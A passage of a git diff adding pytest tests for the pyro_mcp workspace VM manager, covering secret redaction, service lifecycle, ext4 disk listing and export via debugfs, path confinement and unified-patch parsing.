monkeypatch.setattr("pyro_mcp.vm_manager.time.monotonic", _monotonic) + monkeypatch.setattr("pyro_mcp.vm_manager.time.sleep", lambda _seconds: None) + monkeypatch.setattr("pyro_mcp.vm_manager._pid_is_running", _is_running) + + stopped, killed = vm_manager_module._stop_process_group(456, wait_seconds=5) # noqa: SLF001 + assert (stopped, killed) == (True, True) + assert kill_calls == [signal.SIGTERM, signal.SIGKILL] + + +def test_pid_is_running_treats_zombies_as_stopped(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr(vm_manager_module, "_linux_process_state", lambda _pid: "Z") + assert vm_manager_module._pid_is_running(123) is False # noqa: SLF001 + + +def test_workspace_service_probe_and_refresh_helpers( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + assert vm_manager_module._run_service_probe_command(tmp_path, "exit 3") == 3 # noqa: SLF001 + + services_dir = tmp_path / "services" + services_dir.mkdir() + status_path = services_dir / "app.status" + status_path.write_text("9\n", encoding="utf-8") + running = vm_manager_module.WorkspaceServiceRecord( # noqa: SLF001 + workspace_id="workspace-1", + service_name="app", + command="sleep 60", + cwd="/workspace", + state="running", + started_at=time.time(), + readiness=None, + ready_at=None, + ended_at=None, + exit_code=None, + pid=1234, + execution_mode="host_compat", + stop_reason=None, + ) + + monkeypatch.setattr("pyro_mcp.vm_manager._pid_is_running", lambda _pid: False) + refreshed = vm_manager_module._refresh_local_service_record( # noqa: SLF001 + running, + services_dir=services_dir, + ) + assert refreshed.state == "exited" + assert refreshed.exit_code == 9 + + monkeypatch.setattr( + "pyro_mcp.vm_manager._stop_process_group", + lambda _pid: (True, False), + ) + stopped = vm_manager_module._stop_local_service( # noqa: SLF001 + refreshed, + services_dir=services_dir, + ) + assert stopped.state == "stopped" + assert stopped.stop_reason == "sigterm" + + +def test_workspace_secrets_redact_exec_shell_service_and_survive_reset(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + secret_file = tmp_path / "token.txt" + secret_file.write_text("from-file\n", encoding="utf-8") + + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + secrets=[ + {"name": "API_TOKEN", "value": "expected"}, + {"name": "FILE_TOKEN", "file_path": str(secret_file)}, + ], + ) + workspace_id = str(created["workspace_id"]) + assert created["secrets"] == [ + {"name": "API_TOKEN", "source_kind": "literal"}, + {"name": "FILE_TOKEN", "source_kind": "file"}, + ] + + no_secret = manager.exec_workspace( + workspace_id, + command='sh -lc \'printf "%s" "${API_TOKEN:-missing}"\'', + timeout_seconds=30, + ) + assert no_secret["stdout"] == "missing" + + executed = manager.exec_workspace( + workspace_id, + command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', + timeout_seconds=30, + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + assert executed["stdout"] == "[REDACTED]\n" + + logs = manager.logs_workspace(workspace_id) + assert logs["entries"][-1]["stdout"] == "[REDACTED]\n" + + shell = manager.open_shell( + workspace_id, + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + shell_id = str(shell["shell_id"]) + manager.write_shell(workspace_id, shell_id, input_text='printf "%s\\n" "$API_TOKEN"') + output = "" + deadline = time.time() + 5 + while time.time() < deadline: + read = manager.read_shell(workspace_id, shell_id, cursor=0, max_chars=65536) + output = str(read["output"]) + if "[REDACTED]" in output: + break + time.sleep(0.05) + assert "[REDACTED]" in output + manager.close_shell(workspace_id, shell_id) + + started = manager.start_service( + workspace_id, + "app", + command=( + 'sh -lc \'trap "exit 0" TERM; printf "%s\\n" "$API_TOKEN" >&2; ' + 'touch .ready; while true; do sleep 60; done\'' + ), + readiness={"type": "file", "path": ".ready"}, + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + assert started["state"] == "running" + service_logs = manager.logs_service(workspace_id, "app", tail_lines=None) + assert "[REDACTED]" in str(service_logs["stderr"]) + + reset = manager.reset_workspace(workspace_id) + assert reset["secrets"] == created["secrets"] + + after_reset = manager.exec_workspace( + workspace_id, + command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', + timeout_seconds=30, + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + assert after_reset["stdout"] == "[REDACTED]\n" + + +def test_workspace_secret_validation_helpers(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + assert vm_manager_module._normalize_workspace_secret_name("API_TOKEN") == "API_TOKEN" # noqa: SLF001 + with pytest.raises(ValueError, match="secret name must match"): + vm_manager_module._normalize_workspace_secret_name("bad-name") # noqa: SLF001 + with pytest.raises(ValueError, match="must not be empty"): + vm_manager_module._validate_workspace_secret_value("TOKEN", "") # noqa: SLF001 + with pytest.raises(ValueError, match="duplicate secret name"): + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + secrets=[ + {"name": "TOKEN", "value": "one"}, + {"name": "TOKEN", "value": "two"}, + ], + ) + + +def test_prepare_workspace_secrets_handles_file_inputs_and_validation_errors( + tmp_path: Path, +) -> None: + secrets_dir = tmp_path / "secrets" + valid_file = tmp_path / "token.txt" + valid_file.write_text("from-file\n", encoding="utf-8") + invalid_utf8 = tmp_path / "invalid.bin" + invalid_utf8.write_bytes(b"\xff\xfe") + oversized = tmp_path / "oversized.txt" + oversized.write_text( + "x" * (vm_manager_module.WORKSPACE_SECRET_MAX_BYTES + 1), + encoding="utf-8", + ) + + records, values = vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [ + {"name": "B_TOKEN", "value": "literal"}, + {"name": "A_TOKEN", "file_path": str(valid_file)}, + ], + secrets_dir=secrets_dir, + ) + assert [record.name for record in records] == ["A_TOKEN", "B_TOKEN"] + assert values == {"A_TOKEN": "from-file\n", "B_TOKEN": "literal"} + assert (secrets_dir / "A_TOKEN.secret").read_text(encoding="utf-8") == "from-file\n" + assert oct(secrets_dir.stat().st_mode & 0o777) == "0o700" + assert oct((secrets_dir / "A_TOKEN.secret").stat().st_mode & 0o777) == "0o600" + + with pytest.raises(ValueError, match="must be a dictionary"): + vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [cast(dict[str, str], "bad")], + secrets_dir=tmp_path / "bad1", + ) + with pytest.raises(ValueError, match="missing 'name'"): + vm_manager_module._prepare_workspace_secrets([{}], secrets_dir=tmp_path / "bad2") # noqa: SLF001 + with pytest.raises(ValueError, match="exactly one of 'value' or 'file_path'"): + vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [{"name": "TOKEN", "value": "x", "file_path": str(valid_file)}], + secrets_dir=tmp_path / "bad3", + ) + with pytest.raises(ValueError, match="file_path must not be empty"): + vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [{"name": "TOKEN", "file_path": " "}], + secrets_dir=tmp_path / "bad4", + ) + with pytest.raises(ValueError, match="does not exist"): + vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [{"name": "TOKEN", "file_path": str(tmp_path / "missing.txt")}], + secrets_dir=tmp_path / "bad5", + ) + with pytest.raises(ValueError, match="must be valid UTF-8 text"): + vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [{"name": "TOKEN", "file_path": str(invalid_utf8)}], + secrets_dir=tmp_path / "bad6", + ) + with pytest.raises(ValueError, match="must be at most"): + vm_manager_module._prepare_workspace_secrets( # noqa: SLF001 + [{"name": "TOKEN", "file_path": str(oversized)}], + secrets_dir=tmp_path / "bad7", + ) + + +def test_workspace_secrets_require_guest_exec_on_firecracker_runtime( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + class StubFirecrackerBackend: + def __init__(self, *args: Any, **kwargs: Any) -> None: + del args, kwargs + + def create(self, instance: Any) -> None: + del instance + + def start(self, instance: Any) -> None: + del instance + + def stop(self, instance: Any) -> None: + del instance + + def delete(self, instance: Any) -> None: + del instance + + monkeypatch.setattr(vm_manager_module, "FirecrackerBackend", StubFirecrackerBackend) + manager = VmManager( + backend_name="firecracker", + base_dir=tmp_path / "vms", + runtime_paths=resolve_runtime_paths(), + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=False, + supports_guest_network=False, + reason="guest exec is unavailable", + ) + + with pytest.raises(RuntimeError, match="workspace secrets require guest execution"): + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + secrets=[{"name": "TOKEN", "value": "expected"}], + ) + + +def test_workspace_stop_and_start_preserve_logs_and_clear_live_state(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + (seed_dir / "note.txt").write_text("hello from seed\n", encoding="utf-8") + + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + ) + workspace_id = str(created["workspace_id"]) + manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) + shell = manager.open_shell(workspace_id) + shell_id = str(shell["shell_id"]) + started_service = manager.start_service( + workspace_id, + "app", + command='sh -lc \'touch .ready && trap "exit 0" TERM; while true; do sleep 60; done\'', + readiness={"type": "file", "path": ".ready"}, + ) + assert started_service["state"] == "running" + + stopped = manager.stop_workspace(workspace_id) + assert stopped["state"] == "stopped" + assert stopped["command_count"] == 1 + assert stopped["service_count"] == 0 + assert stopped["running_service_count"] == 0 + assert manager.logs_workspace(workspace_id)["count"] == 1 + with pytest.raises(RuntimeError, match="must be in 'started' state"): + manager.read_shell(workspace_id, shell_id, cursor=0, max_chars=1024) + + restarted = manager.start_workspace(workspace_id) + assert restarted["state"] == "started" + assert restarted["command_count"] == 1 + assert restarted["service_count"] == 0 + rerun = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) + assert rerun["stdout"] == "hello from seed\n" + + +def test_workspace_read_shell_rejects_invalid_wait_for_idle_ms(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + opened = manager.open_shell(workspace_id) + shell_id = str(opened["shell_id"]) + + with pytest.raises(ValueError, match="wait_for_idle_ms must be between 1 and 10000"): + manager.read_shell(workspace_id, shell_id, cursor=0, max_chars=1024, wait_for_idle_ms=0) + + +def test_workspace_stop_flushes_guest_filesystem_before_stopping( + tmp_path: Path, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["state"] = "started" + payload["firecracker_pid"] = os.getpid() + payload["metadata"]["execution_mode"] = "guest_vsock" + payload["metadata"]["rootfs_image"] = str(_create_stopped_workspace_rootfs(tmp_path)) + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + calls: list[tuple[str, str]] = [] + + class StubBackend: + def exec( + self, + instance: Any, + command: str, + timeout_seconds: int, + *, + workdir: Path | None = None, + env: dict[str, str] | None = None, + ) -> vm_manager_module.VmExecResult: + del instance, timeout_seconds, workdir, env + calls.append(("exec", command)) + return vm_manager_module.VmExecResult( + stdout="", + stderr="", + exit_code=0, + duration_ms=1, + ) + + def stop(self, instance: Any) -> None: + del instance + calls.append(("stop", "instance")) + + manager._backend = StubBackend() # type: ignore[assignment] # noqa: SLF001 + manager._backend_name = "firecracker" # noqa: SLF001 + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=False, + reason=None, + ) + + stopped = manager.stop_workspace(workspace_id) + + assert calls == [("exec", "sync"), ("stop", "instance")] + assert stopped["state"] == "stopped" + + +def test_workspace_disk_operations_scrub_runtime_only_paths_and_export( + tmp_path: Path, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + rootfs_image = _create_stopped_workspace_rootfs(tmp_path) + workspace_id = "workspace-disk-123" + workspace = vm_manager_module.WorkspaceRecord( + workspace_id=workspace_id, + environment="debian:12-base", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + created_at=time.time(), + expires_at=time.time() + 600, + state="stopped", + network_policy="off", + allow_host_compat=False, + metadata={ + "execution_mode": "guest_vsock", + "rootfs_image": str(rootfs_image), + "workspace_path": "/workspace", + }, + ) + manager._save_workspace_locked(workspace) # noqa: SLF001 + + listed = manager.list_workspace_disk(workspace_id, path="/workspace", recursive=True) + assert listed["path"] == "/workspace" + listed_paths = {entry["path"] for entry in listed["entries"]} + assert "/workspace/note.txt" in listed_paths + assert "/workspace/src/child.txt" in listed_paths + assert "/workspace/link" in listed_paths + + read_payload = manager.read_workspace_disk(workspace_id, path="note.txt", max_bytes=4096) + assert read_payload["content"] == "hello from disk\n" + assert read_payload["truncated"] is False + + run_listing = manager.list_workspace_disk(workspace_id, path="/run", recursive=True) + run_paths = {entry["path"] for entry in run_listing["entries"]} + assert "/run/pyro-secrets" not in run_paths + assert "/run/pyro-services" not in run_paths + + exported_path = tmp_path / "workspace-copy.ext4" + exported = manager.export_workspace_disk(workspace_id, output_path=exported_path) + assert exported["disk_format"] == "ext4" + assert exported_path.exists() + assert exported_path.stat().st_size == int(exported["bytes_written"]) + + +def test_workspace_disk_operations_reject_host_compat_workspaces(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + manager.stop_workspace(workspace_id) + + with pytest.raises(RuntimeError, match="host_compat workspaces"): + manager.export_workspace_disk(workspace_id, output_path=tmp_path / "workspace.ext4") + with pytest.raises(RuntimeError, match="host_compat workspaces"): + manager.list_workspace_disk(workspace_id) + with pytest.raises(RuntimeError, match="host_compat workspaces"): + manager.read_workspace_disk(workspace_id, path="note.txt") diff --git a/tests/test_workspace_disk.py b/tests/test_workspace_disk.py new file mode 100644 index 0000000..6f1e3de --- /dev/null +++ b/tests/test_workspace_disk.py @@ -0,0 +1,258 @@ +from __future__ import annotations + +import subprocess +from pathlib import Path +from types import SimpleNamespace +from typing import Any, cast + +import pytest + +import pyro_mcp.workspace_disk as workspace_disk_module +from pyro_mcp.workspace_disk import ( + _artifact_type_from_mode, + _debugfs_ls_entries, + _debugfs_stat, + _run_debugfs, + export_workspace_disk_image, + list_workspace_disk, + read_workspace_disk_file, + scrub_workspace_runtime_paths, +) + + +def _run_debugfs_write(rootfs_image: Path, command: str) -> None: + proc = subprocess.run( # noqa: S603 + ["debugfs", "-w", "-R", command, str(rootfs_image)], + text=True, + capture_output=True, + check=False, + ) + if proc.returncode != 0: + message = proc.stderr.strip() or proc.stdout.strip() or command + raise RuntimeError(message) + + +def _create_rootfs_image(tmp_path: Path) -> Path: + rootfs_image = tmp_path / "workspace-rootfs.ext4" + with rootfs_image.open("wb") as handle: + handle.truncate(16 * 1024 * 1024) + proc = subprocess.run( # noqa: S603 + ["mkfs.ext4", "-F", str(rootfs_image)], + text=True, + capture_output=True, + check=False, + ) + if proc.returncode != 0: + message = proc.stderr.strip() or proc.stdout.strip() or "mkfs.ext4 failed" + raise RuntimeError(message) + for directory in ( + "/workspace", + "/workspace/src", + "/run", + "/run/pyro-secrets", + "/run/pyro-services", + ): + _run_debugfs_write(rootfs_image, f"mkdir {directory}") + note_path = tmp_path / "note.txt" + note_path.write_text("hello from disk\n", encoding="utf-8") + child_path = tmp_path / "child.txt" + child_path.write_text("nested child\n", encoding="utf-8") + secret_path = tmp_path / "secret.txt" + secret_path.write_text("super-secret\n", encoding="utf-8") + service_path = tmp_path / "service.log" + service_path.write_text("service runtime\n", encoding="utf-8") + _run_debugfs_write(rootfs_image, f"write {note_path} /workspace/note.txt") + _run_debugfs_write(rootfs_image, f"write {child_path} /workspace/src/child.txt") + _run_debugfs_write(rootfs_image, "symlink /workspace/link note.txt") + _run_debugfs_write(rootfs_image, f"write {secret_path} /run/pyro-secrets/TOKEN") + _run_debugfs_write(rootfs_image, f"write {service_path} /run/pyro-services/app.log") + return rootfs_image + + +def test_workspace_disk_list_read_export_and_scrub(tmp_path: Path) -> None: + rootfs_image = _create_rootfs_image(tmp_path) + + listing = list_workspace_disk(rootfs_image, guest_path="/workspace", recursive=True) + assert listing == [ + { + "path": "/workspace/link", + "artifact_type": "symlink", + "size_bytes": 8, + "link_target": "note.txt", + }, + { + "path": "/workspace/note.txt", + "artifact_type": "file", + "size_bytes": 16, + "link_target": None, + }, + { + "path": "/workspace/src", + "artifact_type": "directory", + "size_bytes": 0, + "link_target": None, + }, + { + "path": "/workspace/src/child.txt", + "artifact_type": "file", + "size_bytes": 13, + "link_target": None, + }, + ] + + single = list_workspace_disk(rootfs_image, guest_path="/workspace/note.txt", recursive=False) + assert single == [ + { + "path": "/workspace/note.txt", + "artifact_type": "file", + "size_bytes": 16, + "link_target": None, + } + ] + + read_payload = read_workspace_disk_file( + rootfs_image, + guest_path="/workspace/note.txt", + max_bytes=5, + ) + assert read_payload == { + "path": "/workspace/note.txt", + "size_bytes": 16, + "max_bytes": 5, + "content": "hello", + "truncated": True, + } + + output_path = tmp_path / "workspace.ext4" + exported = export_workspace_disk_image(rootfs_image, output_path=output_path) + assert exported["output_path"] == str(output_path) + assert exported["disk_format"] == "ext4" + assert int(exported["bytes_written"]) == output_path.stat().st_size + + scrub_workspace_runtime_paths(rootfs_image) + run_listing = list_workspace_disk(rootfs_image, guest_path="/run", recursive=True) + assert run_listing == [] + + +def test_workspace_disk_rejects_invalid_inputs(tmp_path: Path) -> None: + rootfs_image = _create_rootfs_image(tmp_path) + + with pytest.raises(RuntimeError, match="workspace disk path does not exist"): + list_workspace_disk(rootfs_image, guest_path="/missing", recursive=False) + + with pytest.raises(RuntimeError, match="workspace disk path does not exist"): + read_workspace_disk_file( + rootfs_image, + guest_path="/missing.txt", + max_bytes=4096, + ) + + with pytest.raises(RuntimeError, match="regular files"): + read_workspace_disk_file( + rootfs_image, + guest_path="/workspace/src", + max_bytes=4096, + ) + + with pytest.raises(ValueError, match="max_bytes must be positive"): + read_workspace_disk_file( + rootfs_image, + guest_path="/workspace/note.txt", + max_bytes=0, + ) + + output_path = tmp_path / "existing.ext4" + output_path.write_text("present\n", encoding="utf-8") + with pytest.raises(RuntimeError, match="output_path already exists"): + export_workspace_disk_image(rootfs_image, output_path=output_path) + + +def test_workspace_disk_internal_error_paths( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + rootfs_image = tmp_path / "dummy.ext4" + rootfs_image.write_bytes(b"rootfs") + + monkeypatch.setattr(cast(Any, workspace_disk_module).shutil, "which", lambda _name: None) + with pytest.raises(RuntimeError, match="debugfs is required"): + _run_debugfs(rootfs_image, "stat /workspace") + + monkeypatch.setattr( + cast(Any, workspace_disk_module).shutil, + "which", + lambda _name: "/usr/bin/debugfs", + ) + monkeypatch.setattr( + cast(Any, workspace_disk_module).subprocess, + "run", + lambda *args, **kwargs: SimpleNamespace( # noqa: ARG005 + returncode=1, + stdout="", + stderr="", + ), + ) + with pytest.raises(RuntimeError, match="debugfs command failed: stat /workspace"): + _run_debugfs(rootfs_image, "stat /workspace") + + assert _artifact_type_from_mode("00000") is None + + monkeypatch.setattr(workspace_disk_module, "_run_debugfs", lambda *_args, **_kwargs: "noise") + with pytest.raises(RuntimeError, match="failed to inspect workspace disk path"): + _debugfs_stat(rootfs_image, "/workspace/bad") + + monkeypatch.setattr( + workspace_disk_module, + "_run_debugfs", + lambda *_args, **_kwargs: "Type: fifo\nSize: 1\n", + ) + with pytest.raises(RuntimeError, match="unsupported workspace disk path type"): + _debugfs_stat(rootfs_image, "/workspace/fifo") + + monkeypatch.setattr( + workspace_disk_module, + "_run_debugfs", + lambda *_args, **_kwargs: "File not found by ext2_lookup", + ) + with pytest.raises(RuntimeError, match="workspace disk path does not exist"): + _debugfs_ls_entries(rootfs_image, "/workspace/missing") + + monkeypatch.setattr( + workspace_disk_module, + "_debugfs_stat", + lambda *_args, **_kwargs: workspace_disk_module._DebugfsStat( # noqa: SLF001 + path="/workspace", + artifact_type="directory", + size_bytes=0, + ), + ) + monkeypatch.setattr( + workspace_disk_module, + "_debugfs_ls_entries", + lambda *_args, **_kwargs: [ + workspace_disk_module._DebugfsDirEntry( # noqa: SLF001 + name="special", + path="/workspace/special", + artifact_type=None, + size_bytes=0, + ) + ], + ) + assert list_workspace_disk(rootfs_image, guest_path="/workspace", recursive=True) == [] + + monkeypatch.setattr( + workspace_disk_module, + "_debugfs_stat", + lambda *_args, **_kwargs: workspace_disk_module._DebugfsStat( # noqa: SLF001 + path="/workspace/note.txt", + artifact_type="file", + size_bytes=12, + ), + ) + monkeypatch.setattr(workspace_disk_module, "_run_debugfs", lambda *_args, **_kwargs: "") + with pytest.raises(RuntimeError, match="failed to dump workspace disk file"): + read_workspace_disk_file( + rootfs_image, + guest_path="/workspace/note.txt", + max_bytes=16, + ) diff --git a/tests/test_workspace_files.py b/tests/test_workspace_files.py new file mode 100644 index 0000000..a321456 --- /dev/null +++ b/tests/test_workspace_files.py @@ -0,0 +1,427 @@ +from __future__ import annotations + +import os +from pathlib import Path + +import pytest + +from pyro_mcp.workspace_files import ( + WORKSPACE_FILE_MAX_BYTES, + WORKSPACE_PATCH_MAX_BYTES, + WorkspacePatchHunk, + WorkspaceTextPatch, + apply_unified_text_patch, + delete_workspace_path, + list_workspace_files, + normalize_workspace_path, + parse_unified_text_patch, + read_workspace_file, + workspace_host_path, + write_workspace_file, +) + + +def test_workspace_files_list_read_write_and_delete(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + (workspace_dir / "src").mkdir() + (workspace_dir / "src" / "note.txt").write_text("hello\n", encoding="utf-8") + os.symlink("note.txt", workspace_dir / "src" / "note-link") + + listing = list_workspace_files( + workspace_dir, + workspace_path="/workspace/src", + recursive=True, + ) + assert listing.path == "/workspace/src" + assert listing.artifact_type == "directory" + assert [entry.to_payload() for entry in listing.entries] == [ + { + "path": "/workspace/src/note-link", + "artifact_type": "symlink", + "size_bytes": 8, + "link_target": "note.txt", + }, + { + "path": "/workspace/src/note.txt", + "artifact_type": "file", + "size_bytes": 6, + "link_target": None, + }, + ] + + read_payload = read_workspace_file( + workspace_dir, + workspace_path="/workspace/src/note.txt", + ) + assert read_payload.content_bytes == b"hello\n" + + written = write_workspace_file( + workspace_dir, + workspace_path="/workspace/generated/out.txt", + text="generated\n", + ) + assert written.bytes_written == 10 + assert (workspace_dir / "generated" / "out.txt").read_text(encoding="utf-8") == "generated\n" + + deleted = delete_workspace_path( + workspace_dir, + workspace_path="/workspace/generated/out.txt", + ) + assert deleted.deleted is True + assert not (workspace_dir / "generated" / "out.txt").exists() + + +def test_workspace_file_read_and_delete_reject_unsupported_paths(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + (workspace_dir / "dir").mkdir() + (workspace_dir / "file.txt").write_text("ok\n", encoding="utf-8") + os.symlink("file.txt", workspace_dir / "link.txt") + + with pytest.raises(RuntimeError, match="regular files"): + read_workspace_file(workspace_dir, workspace_path="/workspace/dir") + with pytest.raises(RuntimeError, match="regular files"): + read_workspace_file(workspace_dir, workspace_path="/workspace/link.txt") + with pytest.raises(RuntimeError, match="does not support directories"): + delete_workspace_path(workspace_dir, workspace_path="/workspace/dir") + + +def test_workspace_file_helpers_cover_single_paths_and_path_validation(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + (workspace_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + listing = list_workspace_files( + workspace_dir, + workspace_path="/workspace/note.txt", + recursive=False, + ) + assert listing.path == "/workspace/note.txt" + assert listing.artifact_type == "file" + assert [entry.path for entry in listing.entries] == ["/workspace/note.txt"] + + assert normalize_workspace_path("src/app.py") == "/workspace/src/app.py" + assert workspace_host_path(workspace_dir, "src/app.py") == workspace_dir / "src" / "app.py" + + with pytest.raises(ValueError, match="must not be empty"): + normalize_workspace_path(" ") + with pytest.raises(ValueError, match="must stay inside /workspace"): + normalize_workspace_path("..") + with pytest.raises(ValueError, match="must stay inside /workspace"): + normalize_workspace_path("/tmp/outside") + with pytest.raises(ValueError, match="must stay inside /workspace"): + normalize_workspace_path("/") + + +def test_workspace_file_read_limits_and_write_validation(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + (workspace_dir / "big.txt").write_text("hello\n", encoding="utf-8") + (workspace_dir / "dir").mkdir() + real_dir = workspace_dir / "real" + real_dir.mkdir() + os.symlink("real", workspace_dir / "linked") + + with pytest.raises(ValueError, match="max_bytes must be positive"): + read_workspace_file(workspace_dir, workspace_path="/workspace/big.txt", max_bytes=0) + with pytest.raises(ValueError, match="at most"): + read_workspace_file( + workspace_dir, + workspace_path="/workspace/big.txt", + max_bytes=WORKSPACE_FILE_MAX_BYTES + 1, + ) + with pytest.raises(RuntimeError, match="exceeds the maximum supported size"): + read_workspace_file(workspace_dir, workspace_path="/workspace/big.txt", max_bytes=4) + + with pytest.raises(RuntimeError, match="regular file targets"): + write_workspace_file(workspace_dir, workspace_path="/workspace/dir", text="nope\n") + with pytest.raises(RuntimeError, match="symlinked parent"): + write_workspace_file( + workspace_dir, + workspace_path="/workspace/linked/out.txt", + text="nope\n", + ) + with pytest.raises(ValueError, match="at most"): + write_workspace_file( + workspace_dir, + workspace_path="/workspace/huge.txt", + text="x" * (WORKSPACE_FILE_MAX_BYTES + 1), + ) + + +def test_workspace_file_list_rejects_unsupported_filesystem_types(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + fifo_path = workspace_dir / "pipe" + os.mkfifo(fifo_path) + + with pytest.raises(RuntimeError, match="unsupported workspace path type"): + list_workspace_files(workspace_dir, workspace_path="/workspace", recursive=True) + + +def test_parse_and_apply_unified_text_patch_round_trip() -> None: + patch_text = """--- a/src/app.py ++++ b/src/app.py +@@ -1,2 +1,3 @@ + print("old") +-print("bug") ++print("fixed") ++print("done") +--- /dev/null ++++ b/src/new.py +@@ -0,0 +1 @@ ++print("new") +--- a/src/remove.py ++++ /dev/null +@@ -1 +0,0 @@ +-print("remove") +""" + patches = parse_unified_text_patch(patch_text) + assert [(item.path, item.status) for item in patches] == [ + ("/workspace/src/app.py", "modified"), + ("/workspace/src/new.py", "added"), + ("/workspace/src/remove.py", "deleted"), + ] + + modified = apply_unified_text_patch( + path="/workspace/src/app.py", + patch=patches[0], + before_text='print("old")\nprint("bug")\n', + ) + added = apply_unified_text_patch( + path="/workspace/src/new.py", + patch=patches[1], + before_text=None, + ) + deleted = apply_unified_text_patch( + path="/workspace/src/remove.py", + patch=patches[2], + before_text='print("remove")\n', + ) + + assert modified == 'print("old")\nprint("fixed")\nprint("done")\n' + assert added == 'print("new")\n' + assert deleted is None + + +def test_parse_unified_text_patch_rejects_unsupported_features() -> None: + with pytest.raises(ValueError, match="unsupported patch feature"): + parse_unified_text_patch( + """diff --git a/file.txt b/file.txt +old mode 100644 +--- a/file.txt ++++ b/file.txt +@@ -1 +1 @@ +-old ++new +""" + ) + + with pytest.raises(ValueError, match="rename and copy patches are not supported"): + parse_unified_text_patch( + """--- a/old.txt ++++ b/new.txt +@@ -1 +1 @@ +-old ++new +""" + ) + + +def test_parse_unified_text_patch_handles_git_headers_and_validation_errors() -> None: + parsed = parse_unified_text_patch( + """ +diff --git a/file.txt b/file.txt +index 1234567..89abcde 100644 +--- /workspace/file.txt ++++ /workspace/file.txt +@@ -1 +1 @@ +-old ++new +\\ No newline at end of file +""" + ) + assert parsed[0].path == "/workspace/file.txt" + + with pytest.raises(ValueError, match="must not be empty"): + parse_unified_text_patch("") + with pytest.raises(ValueError, match="invalid patch header"): + parse_unified_text_patch("oops\n") + with pytest.raises(ValueError, match="missing '\\+\\+\\+' header"): + parse_unified_text_patch("--- a/file.txt\n") + with pytest.raises(ValueError, match="has no hunks"): + parse_unified_text_patch("--- a/file.txt\n+++ b/file.txt\n") + with pytest.raises(ValueError, match="line counts do not match"): + parse_unified_text_patch( + """--- a/file.txt ++++ b/file.txt +@@ -1,2 +1,1 @@ +-old ++new +""" + ) + with pytest.raises(ValueError, match="invalid patch hunk line"): + parse_unified_text_patch( + """--- a/file.txt ++++ b/file.txt +@@ -1 +1 @@ +?bad +""" + ) + + with pytest.raises(ValueError, match="at most"): + parse_unified_text_patch("x" * (WORKSPACE_PATCH_MAX_BYTES + 1)) + with pytest.raises(ValueError, match="patch must target a workspace path"): + parse_unified_text_patch("--- /dev/null\n+++ /dev/null\n") + with pytest.raises(ValueError, match="patch must contain at least one file change"): + parse_unified_text_patch( + """diff --git a/file.txt b/file.txt +index 1234567..89abcde 100644 +""" + ) + with pytest.raises(ValueError, match="unsupported patch feature"): + parse_unified_text_patch( + """--- a/file.txt ++++ b/file.txt +new mode 100644 +""" + ) + with pytest.raises(ValueError, match="invalid patch hunk header"): + parse_unified_text_patch( + """--- a/file.txt ++++ b/file.txt +@@ -1 +1 @@ + old +@@bogus +""" + ) + + parsed = parse_unified_text_patch( + """--- a/file.txt ++++ b/file.txt +index 1234567..89abcde 100644 +@@ -1 +1 @@ +-old ++new +@@ -3 +3 @@ +-before ++after +""" + ) + assert len(parsed[0].hunks) 